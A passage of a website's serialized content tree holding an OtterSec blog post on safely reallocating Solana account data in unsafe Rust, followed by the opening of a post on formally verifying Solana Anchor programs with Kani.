"tag":75,"props":28991,"children":28992},{"style":94},[28993],{"type":29,"value":1417},{"type":23,"tag":75,"props":28995,"children":28996},{"style":209},[28997],{"type":29,"value":557},{"type":23,"tag":75,"props":28999,"children":29000},{"style":88},[29001],{"type":29,"value":25142},{"type":23,"tag":75,"props":29003,"children":29004},{"style":94},[29005],{"type":29,"value":643},{"type":23,"tag":75,"props":29007,"children":29008},{"style":209},[29009],{"type":29,"value":15602},{"type":23,"tag":75,"props":29011,"children":29012},{"style":237},[29013],{"type":29,"value":15349},{"type":23,"tag":75,"props":29015,"children":29016},{"style":94},[29017],{"type":29,"value":167},{"type":23,"tag":75,"props":29019,"children":29020},{"style":82},[29021],{"type":29,"value":20097},{"type":23,"tag":75,"props":29023,"children":29024},{"style":209},[29025],{"type":29,"value":579},{"type":23,"tag":75,"props":29027,"children":29028},{"style":82},[29029],{"type":29,"value":14998},{"type":23,"tag":75,"props":29031,"children":29032},{"style":104},[29033],{"type":29,"value":17129},{"type":23,"tag":75,"props":29035,"children":29036},{"style":94},[29037],{"type":29,"value":245},{"type":23,"tag":75,"props":29039,"children":29040},{"class":77,"line":161},[29041,29045,29049,29053,29057,29061,29065],{"type":23,"tag":75,"props":29042,"children":29043},{"style":209},[29044],{"type":29,"value":28784},{"type":23,"tag":75,"props":29046,"children":29047},{"style":110},[29048],{"type":29,"value":25190},{"type":23,"tag":75,"props":29050,"children":29051},{"style":209},[29052],{"type":29,"value":1193},{"type":23,"tag":75,"props":29054,"children":29055},{"style":110},[29056],{"type":29,"value":25199},{"type":23,"tag":75,"props":29058,"children":29059},{"style":82},[29060],{"type":29,"value":20083},{"type":23,"tag":75,"props":29062,"children":29063},{"style":104},[29064],{"type":29,"value":17129},{"type":23,"tag":75,"props":29066,"children":29067},{"style":94},[29068],{"type":29,"value":245},{"type":23,"tag":75,"props":29070,"children":29071},{"class":77,"line":196},[29072],{"type":23,"tag":75,"props":29073,"children":29074},{"emptyLinePlaceholder":15},[29075],{"type":29,"value":276},{"type":23,"tag":75,"props":29077,"children":29078},{"class":77,"line":220},[29079],{"type":23,"tag":75,"props":29080,"children":29081},{"style":3621},[29082],{"type":29,"value":29083},"    // Then set the new length in the local slice\n",{"type":23,"tag":75,"props":29085,"children":29086},{"class":77,"line":248},[29087,29091,29095,29099,29103,29107,29111,29115,29119,29123,29127,29131,29135,29139,29143,29147,29151,29155,29159,29163,29167,29171,29175,29179,29183,29187,29191,29195,29199,29203,29207],{"type":23,"tag":75,"props":29088,"children":29089},{"style":82},[29090],{"type":29,"value":1183},{"type":23,"tag":75,"props":29092,"children":29093},{"style":110},[29094],{"type":29,"value":25099},{"type":23,"tag":75,"props":29096,"children":29097},{"style":209},[29098],{"type":29,"value":1193},{"type":23,"tag":75,"props":29100,"children":29101},{"style":209},[29102],{"type":29,"value":844},{"type":23,"tag":75,"props":29104,"children":29105},{"style":82},[29106],{"type":29,"value":14998},{"type":23,"tag":75,"props":29108,"children":29109},{"style":209},[29110],{"type":29,"value":579},{"type":23,"tag":75,"props":29112,"children":29113},{"style":94},[29114],{"type":29,"value":25258},{"type":23,"tag":75,"props":29116,"children":29117},{"style":82},[29118],{"type":29,"value":24956},{"type":23,"tag":75,"props":29120,"children":29121},{"style":209},[29122],{"type":29,"value":557},{"type":23,"tag":75,"props":29124,"children":29125},{"style":94},[29126],{"type":29,"value":14976},{"type":23,"tag":75,"props":29128,"children":29129},{"style":209},[29130],{"type":29,"value":557},{"type":23,"tag":75,"props":29132,"children":29133},{"style":88},[29134],{"type":29,"value":25279},{"type":23,"tag":75,"props":29136,"children":29137},{"style":94},[29138],{"type":29,"value":2464},{"type":23,"tag":75,"props":29140,"children":29141},{"style":82},[29142],{"type":29,"value":20097},{"type":23,"tag":75,"props":29144,"children":29145},{"style":209},[29146],{"type":29,"value":579},{"type":23,"tag":75,"props":29148,"children":29149},{"style":82},[29150],{"type":29,"value":2869},{"type":23,"tag":75,"props":29152,"children":29153},{"style":104},[29154],{"type":29,"value":17129},{"type":23,"tag":75,"props":29156,"children":29157},{"style":94},[29158],{"type":29,"value":1347},{"type":23,"tag":75,"props":29160,"children":29161},{"style":209},[29162],{"type":29,"value":557},{"type":23,"tag":75,"props":29164,"children":29165},{"style":88},[29166],{"type":29,"value":25142},{"type":23,"tag":75,"props":29168,"children":29169},{"style":94},[29170],{"type":29,"value":643},{"type":23,"tag":75,"props":29172,"children":29173},{"style":237},[29174],{"type":29,"value":7867},{"type":23,"tag":75,"props":29176,"children":29177},{"style":94},[29178],{"type":29,"value":167},{"type":23,"tag":75,"props":29180,"children":29181},{"style":82},[29182],{"type":29,"value":20097},{"type":23,"tag":75,"props":29184,"children":29185},{"style":104},[29186],{"type":29,"value":17129},{"type":23,"tag":75,"props":29188,"children":29189},{"style":94},[29190],{"type":29,"value":167},{"type":23,"tag":75,"props":29192,"children":29193},{"style":82},[29194],{"type":29,"value":20097},{"type":23,"tag":75,"props":29196,"children":29197},{"style":209},[29198],{"type":29,"value":579},{"type":23,"tag":75,"props":29200,"children":29201},{"style":82},[29202],{"type":29,"value":14998},{"type":23,"tag":75,"props":29204,"children":29205},{"style":104},[29206],{"type":29,"value":17129},{"type":23,"tag":75,"props":29208,"children":29209},{"style":94},[29210],{"type":29,"value":15099},{"type":23,"tag":75,"props":29212,"children":29213},{"class":77,"line":270},[29214,29218,29222,29226,29230,29234,29238],{"type":23,"tag":75,"props":29215,"children":29216},{"style":209},[29217],{"type":29,"value":28784},{"type":23,"tag":75,"props":29219,"children":29220},{"style":110},[29221],{"type":29,"value":25190},{"type":23,"tag":75,"props":29223,"children":29224},{"style":209},[29225],{"type":29,"value":1193},{"type":23,"tag":75,"props":29227,"children":29228},{"style":110},[29229],{"type":29,"value":25199},{"type":23,"tag":75,"props":29231,"children":29232},{"style":82},[29233],{"type":29,"value":20083},{"type":23,"tag":75,"props":29235,"children":29236},{"style":104},[29237],{"type":29,"value":17129},{"type":23,"tag":75,"props":29239,"children":29240},{"style":94},[29241],{"type":29,"value":245},{"type":23,"tag":75,"props":29243,"children":29244},{"class":77,"line":279},[29245],{"type":23,"tag":75,"props":29246,"children":29247},{"style":94},[29248],{"type":29,"value":369},{"type":23,"tag":32,"props":29250,"children":29251},{},[29252,29254,29259],{"type":29,"value":29253},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":23,"tag":71,"props":29255,"children":29257},{"className":29256},[],[29258],{"type":29,"value":26731},{"type":29,"value":29260}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":23,"tag":32,"props":29262,"children":29263},{},[29264,29266,29271,29273,29278,29280,29285,29287,29292,29294,29299,29301,29307,29309,29319,29321,29332],{"type":29,"value":29265},"First, let's deal with the ",{"type":23,"tag":71,"props":29267,"children":29269},{"className":29268},[],[29270],{"type":29,"value":26731},{"type":29,"value":29272}," borrowing issue. When we ",{"type":23,"tag":71,"props":29274,"children":29276},{"className":29275},[],[29277],{"type":29,"value":25116},{"type":29,"value":29279},", we get a ",{"type":23,"tag":71,"props":29281,"children":29283},{"className":29282},[],[29284],{"type":29,"value":27965},{"type":29,"value":29286}," back, which represents our borrow of the ",{"type":23,"tag":71,"props":29288,"children":29290},{"className":29289},[],[29291],{"type":29,"value":26731},{"type":29,"value":29293},"'s data. The fix here is simple: keep that ",{"type":23,"tag":71,"props":29295,"children":29297},{"className":29296},[],[29298],{"type":29,"value":27965},{"type":29,"value":29300}," around and use it to access the data, instead of using ",{"type":23,"tag":71,"props":29302,"children":29304},{"className":29303},[],[29305],{"type":29,"value":29306},"RefCell::as_ptr",{"type":29,"value":29308},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":23,"tag":26701,"props":29310,"children":29311},{},[29312],{"type":23,"tag":940,"props":29313,"children":29317},{"href":29314,"ariaDescribedBy":29315,"dataFootnoteRef":7,"id":29316},"#user-content-fn-rustc-llvm",[26708],"user-content-fnref-rustc-llvm",[29318],{"type":29,"value":28751},{"type":29,"value":29320}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":23,"tag":26701,"props":29322,"children":29323},{},[29324],{"type":23,"tag":940,"props":29325,"children":29329},{"href":29326,"ariaDescribedBy":29327,"dataFootnoteRef":7,"id":29328},"#user-content-fn-godbolt",[26708],"user-content-fnref-godbolt",[29330],{"type":29,"value":29331},"5",{"type":29,"value":29333},". So then we get:",{"type":23,"tag":64,"props":29335,"children":29337},{"className":987,"code":29336,"language":986,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[29338],{"type":23,"tag":71,"props":29339,"children":29340},{"__ignoreMap":7},[29341,29385,29392,29399,29483,29523,29530,29537],{"type":23,"tag":75,"props":29342,"children":29343},{"class":77,"line":78},[29344,29348,29352,29357,29361,29365,29369,29373,29377,29381],{"type":23,"tag":75,"props":29345,"children":29346},{"style":82},[29347],{"type":29,"value":23033},{"type":23,"tag":75,"props":29349,"children":29350},{"style":82},[29351],{"type":29,"value":14296},{"type":23,"tag":75,"props":29353,"children":29354},{"style":110},[29355],{"type":29,"value":29356}," slice",{"type":23,"tag":75,"props":29358,"children":29359},{"style":209},[29360],{"type":29,"value":1193},{"type":23,"tag":75,"props":29362,"children":29363},{"style":82},[29364],{"type":29,"value":25039},{"type":23,"tag":75,"props":29366,"children":29367},{"style":209},[29368],{"type":29,"value":557},{"type":23,"tag":75,"props":29370,"children":29371},{"style":88},[29372],{"type":29,"value":25116},{"type":23,"tag":75,"props":29374,"children":29375},{"style":94},[29376],{"type":29,"value":1417},{"type":23,"tag":75,"props":29378,"children":29379},{"style":209},[29380],{"type":29,"value":1225},{"type":23,"tag":75,"props":29382,"children":29383},{"style":94},[29384],{"type":29,"value":245},{"type":23,"tag":75,"props":29386,"children":29387},{"class":77,"line":100},[29388],{"type":23,"tag":75,"props":29389,"children":29390},{"emptyLinePlaceholder":15},[29391],{"type":29,"value":276},{"type":23,"tag":75,"props":29393,"children":29394},{"class":77,"line":121},[29395],{"type":23,"tag":75,"props":29396,"children":29397},{"style":3621},[29398],{"type":29,"value":25639},{"type":23,"tag":75,"props":29400,"children":29401},{"class":77,"line":138},[29402,29406,29410,29414,29418,29422,29426,29430,29434,29438,29442,29446,29450,29454,29458,29463,29467,29471,29475,29479],{"type":23,"tag":75,"props":29403,"children":29404},{"style":82},[29405],{"type":29,"value":23033},{"type":23,"tag":75,"props":29407,"children":29408},{"style":110},[29409],{"type":29,"value":25099},{"type":23,"tag":75,"props":29411,"children":29412},{"style":209},[29413],{"type":29,"value":1193},{"type":23,"tag":75,"props":29415,"children":29416},{"style":82},[29417],{"type":29,"value":25826},{"type":23,"tag":75,"props":29419,"children":29420},{"style":94},[29421],{"type":29,"value":20837},{"type":23,"tag":75,"props":29423,"children":29424},{"style":110},[29425],{"type":29,"value":26543},{"type":23,"tag":75,"props":29427,"children":29428},{"style":209},[29429],{"type":29,"value":557},{"type":23,"tag":75,"props":29431,"children":29432},{"style":88},[29433],{"type":29,"value":25129},{"type":23,"tag":75,"props":29435,"children":29436},{"style":94},[29437],{"type":29,"value":1417},{"type":23,"tag":75,"props":29439,"children":29440},{"style":209},[29441],{"type":29,"value":557},{"type":23,"tag":75,"props":29443,"children":29444},{"style":88},[29445],{"type":29,"value":25142},{"type":23,"tag":75,"props":29447,"children":29448},{"style":94},[29449],{"type":29,"value":643},{"type":23,"tag":75,"props":29451,"children":29452},{"style":209},[29453],{"type":29,"value":15602},{"type":23,"tag":75,"props":29455,"children":29456},{"style":237},[29457],{"type":29,"value":15349},{"type":23,"tag":75,"props":29459,"children":29460},{"style":94},[29461],{"type":29,"value":29462},") } ",{"type":23,"tag":75,"props":29464,"children":29465},{"style":82},[29466],{"type":29,"value":20097},{"type":23,"tag":75,"props":29468,"children":29469},{"style":209},[29470],{"type":29,"value":579},{"type":23,"tag":75,"props":29472,"children":29473},{"style":82},[29474],{"type":29,"value":14998},{"type":23,"tag":75,"props":29476,"children":29477},{"style":104},[29478],{"type":29,"value":17129},{"type":23,"tag":75,"props":29480,"children":29481},{"style":94},[29482],{"type":29,"value":245},{"type":23,"tag":75,"props":29484,"children":29485},{"class":77,"line":161},[29486,29490,29494,29498,29502,29506,29510,29514,29518],{"type":23,"tag":75,"props":29487,"children":29488},{"style":82},[29489],{"type":29,"value":25592},{"type":23,"tag":75,"props":29491,"children":29492},{"style":94},[29493],{"type":29,"value":20837},{"type":23,"tag":75,"props":29495,"children":29496},{"style":209},[29497],{"type":29,"value":601},{"type":23,"tag":75,"props":29499,"children":29500},{"style":110},[29501],{"type":29,"value":25190},{"type":23,"tag":75,"props":29503,"children":29504},{"style":209},[29505],{"type":29,"value":1193},{"type":23,"tag":75,"props":29507,"children":29508},{"style":110},[29509],{"type":29,"value":25199},{"type":23,"tag":75,"props":29511,"children":29512},{"style":82},[29513],{"type":29,"value":20083},{"type":23,"tag":75,"props":29515,"children":29516},{"style":104},[29517],{"type":29,"value":17129},{"type":23,"tag":75,"props":29519,"children":29520},{"style":94},[29521],{"type":29,"value":29522}," };\n",{"type":23,"tag":75,"props":29524,"children":29525},{"class":77,"line":196},[29526],{"type":23,"tag":75,"props":29527,"children":29528},{"emptyLinePlaceholder":15},[29529],{"type":29,"value":276},{"type":23,"tag":75,"props":29531,"children":29532},{"class":77,"line":220},[29533],{"type":23,"tag":75,"props":29534,"children":29535},{"style":3621},[29536],{"type":29,"value":27363},{"type":23,"tag":75,"props":29538,"children":29539},{"class":77,"line":248},[29540,29544,29548,29552,29556,29561,29565,29569,29573,29578,29582,29586,29590,29594,29598,29602],{"type":23,"tag":75,"props":29541,"children":29542},{"style":209},[29543],{"type":29,"value":601},{"type":23,"tag":75,"props":29545,"children":29546},{"style":110},[29547],{"type":29,"value":26543},{"type":23,"tag":75,"props":29549,"children":29550},{"style":209},[29551],{"type":29,"value":1193},{"type":23,"tag":75,"props":29553,"children":29554},{"style":82},[29555],{"type":29,"value":25826},{"type":23,"tag":75,"props":29557,"children":29558},{"style":94},[29559],{"type":29,"value":29560}," { std",{"type":23,"tag":75,"props":29562,"children":29563},{"style":209},[29564],{"type":29,"value":1407},{"type":23,"tag":75,"props":29566,"children":29567},{"style":94},[29568],{"type":29,"value":26543},{"type":23,"tag":75,"props":29570,"children":29571},{"style":209},[29572],{"type":29,"value":1407},{"type":23,"tag":75,"props":29574,"children":29575},{"style":88},[29576],{"type":29,"value":29577},"from_raw_parts_mut",{"type":23,"tag":75,"props":29579,"children":29580},{"style":94},[29581],{"type":29,"value":643},{"type":23,"tag":75,"props":29583,"children":29584},{"style":110},[29585],{"type":29,"value":26543},{"type":23,"tag":75,"props":29587,"children":29588},{"style":209},[29589],{"type":29,"value":557},{"type":23,"tag":75,"props":29591,"children":29592},{"style":88},[29593],{"type":29,"value":25129},{"type":23,"tag":75,"props":29595,"children":29596},{"style":94},[29597],{"type":29,"value":1471},{"type":23,"tag":75,"props":29599,"children":29600},{"style":110},[29601],{"type":29,"value":24965},{"type":23,"tag":75,"props":29603,"children":29604},{"style":94},[29605],{"type":29,"value":25981},{"type":23,"tag":32,"props":29607,"children":29608},{},[29609,29611,29616,29618,29623,29625,29630,29632],{"type":29,"value":29610},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":23,"tag":71,"props":29612,"children":29614},{"className":29613},[],[29615],{"type":29,"value":19301},{"type":29,"value":29617}," and not a ",{"type":23,"tag":71,"props":29619,"children":29621},{"className":29620},[],[29622],{"type":29,"value":27825},{"type":29,"value":29624}," for the size field, given that ",{"type":23,"tag":71,"props":29626,"children":29628},{"className":29627},[],[29629],{"type":29,"value":27825},{"type":29,"value":29631}," is architecture-dependent), and no dependency on slice reference internals!",{"type":23,"tag":26701,"props":29633,"children":29634},{},[29635],{"type":23,"tag":940,"props":29636,"children":29640},{"href":29637,"ariaDescribedBy":29638,"dataFootnoteRef":7,"id":29639},"#user-content-fn-slice-unbound-lifetime",[26708],"user-content-fnref-slice-unbound-lifetime",[29641],{"type":29,"value":29642},"6",{"type":23,"tag":29644,"props":29645,"children":29648},"section",{"className":29646,"dataFootnotes":7},[29647],"footnotes",[29649,29656],{"type":23,"tag":24,"props":29650,"children":29653},{"className":29651,"id":26708},[29652],"sr-only",[29654],{"type":29,"value":29655},"Footnotes",{"type":23,"tag":2797,"props":29657,"children":29658},{},[29659,29764,29782,29837,29850,29878],{"type":23,"tag":2801,"props":29660,"children":29662},{"id":29661},"user-content-fn-rc-refs",[29663,29665,29671,29673,29678,29680,29684,29686,29690,29692,29697,29699,29705,29707,29712,29714,29724,29726,29731,29733,29738,29740,29745,29747,29753,29755],{"type":29,"value":29664},"I find it helpful to view owning an ",{"type":23,"tag":71,"props":29666,"children":29668},{"className":29667},[],[29669],{"type":29,"value":29670},"Rc\u003CT>",{"type":29,"value":29672}," as holding a shared reference to the underlying ",{"type":23,"tag":71,"props":29674,"children":29676},{"className":29675},[],[29677],{"type":29,"value":17255},{"type":29,"value":29679}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":23,"tag":9690,"props":29681,"children":29682},{},[29683],{"type":29,"value":27681},{"type":29,"value":29685}," ensures that the actual ",{"type":23,"tag":9690,"props":29687,"children":29688},{},[29689],{"type":29,"value":14976},{"type":29,"value":29691}," stays alive, however all you have is a reference to the ",{"type":23,"tag":71,"props":29693,"children":29695},{"className":29694},[],[29696],{"type":29,"value":17255},{"type":29,"value":29698}," (through the ",{"type":23,"tag":71,"props":29700,"children":29702},{"className":29701},[],[29703],{"type":29,"value":29704},"Deref\u003CTarget = T>",{"type":29,"value":29706}," impl) - ",{"type":23,"tag":9690,"props":29708,"children":29709},{},[29710],{"type":29,"value":29711},"not",{"type":29,"value":29713}," ownership ",{"type":23,"tag":9690,"props":29715,"children":29716},{},[29717,29719],{"type":29,"value":29718},"of the ",{"type":23,"tag":71,"props":29720,"children":29722},{"className":29721},[],[29723],{"type":29,"value":17255},{"type":29,"value":29725},". In short, owning an ",{"type":23,"tag":71,"props":29727,"children":29729},{"className":29728},[],[29730],{"type":29,"value":29670},{"type":29,"value":29732}," is owning a (shared, read-only) reference to ",{"type":23,"tag":71,"props":29734,"children":29736},{"className":29735},[],[29737],{"type":29,"value":17255},{"type":29,"value":29739},", not owning ",{"type":23,"tag":71,"props":29741,"children":29743},{"className":29742},[],[29744],{"type":29,"value":17255},{"type":29,"value":29746}," directly like with ",{"type":23,"tag":71,"props":29748,"children":29750},{"className":29749},[],[29751],{"type":29,"value":29752},"Box\u003CT>",{"type":29,"value":29754},". ",{"type":23,"tag":940,"props":29756,"children":29761},{"href":29757,"ariaLabel":29758,"className":29759,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[29760],"data-footnote-backref",[29762],{"type":29,"value":29763},"↩",{"type":23,"tag":2801,"props":29765,"children":29767},{"id":29766},"user-content-fn-sendsync",[29768,29774,29775],{"type":23,"tag":71,"props":29769,"children":29771},{"className":29770},[],[29772],{"type":29,"value":29773},"!Send + !Sync",{"type":29,"value":949},{"type":23,"tag":940,"props":29776,"children":29780},{"href":29777,"ariaLabel":29778,"className":29779,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[29760],[29781],{"type":29,"value":29763},{"type":23,"tag":2801,"props":29783,"children":29785},{"id":29784},"user-content-fn-layout",[29786,29788,29793,29794,29807,29809,29814,29816,29821,29823,29828,29830],{"type":29,"value":29787},"Note that this is a terrible idea for yet another reason: ",{"type":23,"tag":71,"props":29789,"children":29791},{"className":29790},[],[29792],{"type":29,"value":26171},{"type":29,"value":16773},{"type":23,"tag":940,"props":29795,"children":29798},{"href":29796,"rel":29797},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[944],[29799,29801],{"type":29,"value":29800},"not declared with ",{"type":23,"tag":71,"props":29802,"children":29804},{"className":29803},[],[29805],{"type":29,"value":29806},"#[repr(C)]",{"type":29,"value":29808},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":23,"tag":9690,"props":29810,"children":29811},{},[29812],{"type":29,"value":29813},"breaks the entire chain",{"type":29,"value":29815}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":23,"tag":9690,"props":29817,"children":29818},{},[29819],{"type":29,"value":29820},"some",{"type":29,"value":29822}," kind of interface to the specific layout of the specific ",{"type":23,"tag":71,"props":29824,"children":29826},{"className":29825},[],[29827],{"type":29,"value":27733},{"type":29,"value":29829}," versions used to build on-chain code for all eternity... ",{"type":23,"tag":940,"props":29831,"children":29835},{"href":29832,"ariaLabel":29833,"className":29834,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[29760],[29836],{"type":29,"value":29763},{"type":23,"tag":2801,"props":29838,"children":29840},{"id":29839},"user-content-fn-rustc-llvm",[29841,29843],{"type":29,"value":29842},"Actually, it's LLVM that does the optimization ",{"type":23,"tag":940,"props":29844,"children":29848},{"href":29845,"ariaLabel":29846,"className":29847,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[29760],[29849],{"type":29,"value":29763},{"type":23,"tag":2801,"props":29851,"children":29853},{"id":29852},"user-content-fn-godbolt",[29854,29861,29863,29869,29871],{"type":23,"tag":940,"props":29855,"children":29858},{"href":29856,"rel":29857},"https://godbolt.org/z/PK46xMbxc",[944],[29859],{"type":29,"value":29860},"Click here",{"type":29,"value":29862}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":23,"tag":71,"props":29864,"children":29866},{"className":29865},[],[29867],{"type":29,"value":29868},"libcore",{"type":29,"value":29870}," available for other architectures yet. ",{"type":23,"tag":940,"props":29872,"children":29876},{"href":29873,"ariaLabel":29874,"className":29875,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[29760],[29877],{"type":29,"value":29763},{"type":23,"tag":2801,"props":29879,"children":29881},{"id":29880},"user-content-fn-slice-unbound-lifetime",[29882,29884,29889,29891,29897,29899,29905,29907,29913,29915,29921,29923,29929,29931,29936,29938],{"type":29,"value":29883},"The astute reader may have noticed that ",{"type":23,"tag":71,"props":29885,"children":29887},{"className":29886},[],[29888],{"type":29,"value":29577},{"type":29,"value":29890}," still returns an unbounded lifetime (notice in the signature ",{"type":23,"tag":71,"props":29892,"children":29894},{"className":29893},[],[29895],{"type":29,"value":29896},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":29,"value":29898},", the lifetime parameter ",{"type":23,"tag":71,"props":29900,"children":29902},{"className":29901},[],[29903],{"type":29,"value":29904},"'a",{"type":29,"value":29906}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":23,"tag":71,"props":29908,"children":29910},{"className":29909},[],[29911],{"type":29,"value":29912},"*slice",{"type":29,"value":29914},", which is ",{"type":23,"tag":71,"props":29916,"children":29918},{"className":29917},[],[29919],{"type":29,"value":29920},"&'info [u8]",{"type":29,"value":29922}," (where ",{"type":23,"tag":71,"props":29924,"children":29926},{"className":29925},[],[29927],{"type":29,"value":29928},"'info",{"type":29,"value":29930}," is the lifetime parameter of the ",{"type":23,"tag":71,"props":29932,"children":29934},{"className":29933},[],[29935],{"type":29,"value":26171},{"type":29,"value":29937}," struct) - this is exactly the lifetime we started with. ",{"type":23,"tag":940,"props":29939,"children":29943},{"href":29940,"ariaLabel":29941,"className":29942,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[29760],[29944],{"type":29,"value":29763},{"type":23,"tag":14130,"props":29946,"children":29947},{},[29948],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":29950},[29951,29957,29961,29962,29964],{"id":25604,"depth":100,"text":29952,"children":29953},"Breaking down realloc",[29954,29955],{"id":25770,"depth":121,"text":25773},{"id":27115,"depth":121,"text":29956},"Back to realloc",{"id":28067,"depth":100,"text":28070,"children":29958},[29959,29960],{"id":28073,"depth":121,"text":28076},{"id":28294,"depth":121,"text":28297},{"id":28480,"depth":100,"text":28483},{"id":28882,"depth":100,"text":29963},"Towards safer unsafe",{"id":26708,"depth":100,"text":29655},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":29969,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":29970,"description":29971,"author":29972,"image":29973,"date":29975,"isFeatured":15,"onBlogPage":15,"tags":29976,"body":29977,"_type":14157,"_id":40197,"_source":14159,"_file":40198,"_stem":40199,"_extension":14162},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":29974,"height":24866,"width":14},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[14174,14175],{"type":20,"children":29978,"toc":40169},[29979,29984,29989,30015,30019,30031,30054,30077,30089,30112,30115,30122,30171,30177,30183,30188,30199,30240,30245,30251,30256,30489,30509,30514,30519,30591,30596,30666,30680,31104,31124,31130,31149,31154,31159,31164,31170,31182,31217,31228,31239,31251,31256,31288,31312,31331,31337,31354,31360,31387,31392,31412,31424,31566,31594,31597,31609,31692,31711,31714,31753,31919,31924,31930,31942,31961,31974,32135,32147,32160,32631,32636,32683,32689,32707,32776,33014,33228,33233,33306,33354,33359,33365,33467,33571,33576,33639,33644,33650,33715,33720,33762,33788,33794,33863,33868,33918,33929,33935,33946,33967,33972,33977,34000,34006,34018,34038,35133,35152,35202,35207,35215,35227,35232,35240,35245,35261,35297,35302,35396,35401,35409,35414,35526,35531,35539,35552,35716,35721,35729,35734,35739,35807,35841,35847,35852,35863,35881,36258,36270,36282,36290,36301,36332,36337,36345,36350,36621,36640,36645,36671,37537,37549,37648,37660,37702,37707,37719,37727,37732,37744,37770,37930,37942,37950,37955,38230,38235,38247,38402,38422,38748,38782,38975,39008,39020,39142,39162,39167,39172,39177,39190,39198,39203,39677,39689,39694,39706,39711,39970,39996,40001,40007,40013,40025,40037,40056,40103,40108,40114,40119,40124,40129,40133,40138,40143,40146,40165],{"type":23,"tag":32,"props":29980,"children":29981},{},[29982],{"type":29,"value":29983},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":23,"tag":32,"props":29985,"children":29986},{},[29987],{"type":29,"value":29988},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":23,"tag":32,"props":29990,"children":29991},{},[29992,29994,29998,30000,30005,30007,30014],{"type":29,"value":29993},"In the world of Web3 we create programs that talk to strangers ",{"type":23,"tag":9690,"props":29995,"children":29996},{},[29997],{"type":29,"value":27595},{"type":29,"value":29999}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":23,"tag":9690,"props":30001,"children":30002},{},[30003],{"type":29,"value":30004},"juciest",{"type":29,"value":30006},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":23,"tag":940,"props":30008,"children":30011},{"href":30009,"rel":30010},"https://rekt.news/leaderboard/",[944],[30012],{"type":29,"value":30013},"hundreds of millions of dollars",{"type":29,"value":557},{"type":23,"tag":30016,"props":30017,"children":30018},"hr",{},[],{"type":23,"tag":32,"props":30020,"children":30021},{},[30022,30024,30029],{"type":29,"value":30023},"At OtterSec we are ",{"type":23,"tag":9690,"props":30025,"children":30026},{},[30027],{"type":29,"value":30028},"highly skilled in pest control",{"type":29,"value":30030}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":23,"tag":32,"props":30032,"children":30033},{},[30034,30036,30043,30045,30052],{"type":29,"value":30035},"Recently we were contacted by the ",{"type":23,"tag":940,"props":30037,"children":30040},{"href":30038,"rel":30039},"https://squads.so/",[944],[30041],{"type":29,"value":30042},"Squads team",{"type":29,"value":30044}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":23,"tag":940,"props":30046,"children":30049},{"href":30047,"rel":30048},"https://github.com/Squads-Protocol/squads-mpl",[944],[30050],{"type":29,"value":30051},"Squads Multisig Program",{"type":29,"value":30053}," as our main case study.",{"type":23,"tag":32,"props":30055,"children":30056},{},[30057,30059,30066,30068,30075],{"type":29,"value":30058},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":23,"tag":940,"props":30060,"children":30063},{"href":30061,"rel":30062},"https://www.anchor-lang.com/",[944],[30064],{"type":29,"value":30065},"anchor-lang",{"type":29,"value":30067}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":23,"tag":940,"props":30069,"children":30072},{"href":30070,"rel":30071},"https://github.com/model-checking/kani",[944],[30073],{"type":29,"value":30074},"Kani Rust Verifier",{"type":29,"value":30076},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":23,"tag":32,"props":30078,"children":30079},{},[30080,30082,30087],{"type":29,"value":30081},"In this blog post, 